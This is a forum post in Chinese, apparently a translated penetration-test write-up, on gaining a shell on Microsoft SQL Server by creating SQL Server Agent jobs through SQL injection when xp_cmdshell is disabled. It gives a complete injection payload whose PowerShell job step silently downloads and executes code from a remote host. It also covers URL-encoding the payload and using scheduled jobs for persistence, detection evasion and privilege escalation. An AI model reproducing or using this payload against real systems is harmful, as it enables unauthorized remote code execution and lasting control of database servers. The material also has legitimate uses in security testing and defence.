taibeihacker
Moderator
概述
如果MSSQL數據庫中開啟了MSSQL Server Agent Job服務的話,攻擊者將可以利用MSSQL Server中自帶的功能來獲取一個shell。SQL Server Agent
SQL Server Agent是一個Windows服務,它可以用來執行自動化任務。攻击浅析
利用MSSQL Server中的本地功能來在Windows操作系統中執行任意命令。在整個測試過程中,xp_cmdshell存儲過程已被禁用了,並且限制了創建自定義存儲過程的能力。當xp_cmdshell擴展存儲過程在攻擊中被使用時,大多數安全監控或檢測系統都會產生警報。而攻擊者和滲透測試人員對xp_cmdshell的濫用已經導致很多組織和企業開始禁用或限制xp_cmdshell了。
可利用MSSQL Server代理來在目標數據庫服務器中執行任意控制命令。但是,目標服務器必須滿足一下幾個條件:
目標服務器必須開啟了MSSQL Server代理服務;
服務器中當前運行的用戶賬號必須擁有足夠的權限去創建並執行代理作業;
兩個可以利用的MSSQL代理作業子系統:CmdExec和PowerShell子系統,這兩個功能可以分別用來執行操作系統命令和PowerShell腳本。

可以使用SQL注入點來創建並執行代理任務。任務所需執行的命令是一段PowerShell代碼,這段代碼可以讓目標系統與一個受Optiv控制的IP地址進行通信連接,然後下載額外的PowerShell指令。這樣一來,就可以在目標數據庫服務器與Optiv控制的服務器之間建立一條可交互的命令控制會話了。
下面這張代碼截圖顯示的是已被拆分的SQL語句。在下面這段下載命令中,URI位於兩個單引號之間,而不是之前的雙引號。這樣做是為了在SQL語句中轉義單引號。

USE msdb; EXEC dbo.sp_add_job @job_name=N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name=N'test_powershell_job1', @step_name=N'test_powershell_name1', @subsystem=N'PowerShell', @command=N'powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))'', @retry_attempts=1, @retry_interval=5 ;EXEC dbo.sp_add_jobserver @job_name=N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';
攻击测试
如下圖所示,SQL語句已經進行了URL編碼處理。在這個攻擊示例中,攻擊是通過HTTP GET請求來發送的,因此我們需要對攻擊payload進行URL編碼。
可以看到我們在HTTP GET請求的參數中添加了SQL注入payload,這樣我們就可以使用SQL注入了。 (請注意在payload的開頭處添加的%20(空格符))

當payload運行之後,我們就可以看到命令控制會話已經建立成功了,並且使用的是“SQLSERVERAGENT”賬號的權限。

在目標主機的SQL Server中,我們可以看到SQL代理作業已經創建成功了。

总结
如果目標主機運行了MSSQL代理服務,並且代理服務使用的用戶賬號可以訪問其他的MSSQL Server的話,那麼就可以利用這種攻擊來在其他的MSSQL Server中執行MSSQL Server代理作業了。除此之外,還可以設置定時代理作業,這也就意味著,不僅可以利用這種方式來躲避安全檢測,而且還可以實現對目標MSSQL Server的持久化控制。在某些情況下,如果MSSQL Server代理服務使用的是權限更高的用戶賬號,那麼就可以通過這種攻擊來實現提權。